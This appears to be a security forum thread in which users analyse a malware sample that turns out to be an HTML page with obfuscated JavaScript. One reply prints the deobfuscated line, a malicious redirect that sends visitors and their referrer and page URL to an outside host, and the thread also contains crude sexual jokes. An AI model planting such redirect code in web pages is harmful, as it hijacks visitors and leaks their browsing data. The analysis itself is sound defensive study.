[NarfBang]

Does anyone have any idea how this malware works?

Here's the virustotal report.
http://www.virustotal.com/file-scan/rep ... 1319919934

I know it's redirecting to adds within dshorophotohost.com/orders/photos/backup/eating-sweet-pussy/ but I can't seem to infect my machine with this file.
Anyone know why???
I'm getting this error when trying to load the file.

[EP_X0FF]

This is HTML page with embedded Java script. Thread split.

Link to formatted JS obfuscated code, deobfuscate yourself, I'm lazy :)

http://pastebin.com/gRhprRTp

edit:

Code: Select all

window.location=encodeURI("http://wes.yourcollectorcar.net/in.cgi?6&tsk=sept-task23-r200-id24-t126-1600hst-0001&type=l&seoref="+encodeURIComponent(document.referrer)+"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=XXX");

[NarfBang]

Did you unobfuscate the code for me? :D
Muchos Gracias Amigo!
I tried with a few online resources but no luck.
I'm still learning, but thank you for the help.

[NarfBang]

I'm still having trouble getting this to install properly. It seems to not like something about my computer. I've attached the dropper I'm using, I'm just adding ".exe" to the end and double clicking. Free blowjobs to anyone who can tell me why this won't work. :o I'm installing on XP SP2.

[markusg]

why are you adding an .exe to an html file?

[Xylitol]

http://jsunpack.jeek.org/dec/go?report= ... 0984082dbf
http://urlquery.net/search.php?q=217.74.66.183&type=IP

html ≠ exe
offtopic: Rachael leigh cook isn't the actress who played in 'Antitrust' ?
You're either a one or a zero. Alive or dead. :mrgreen: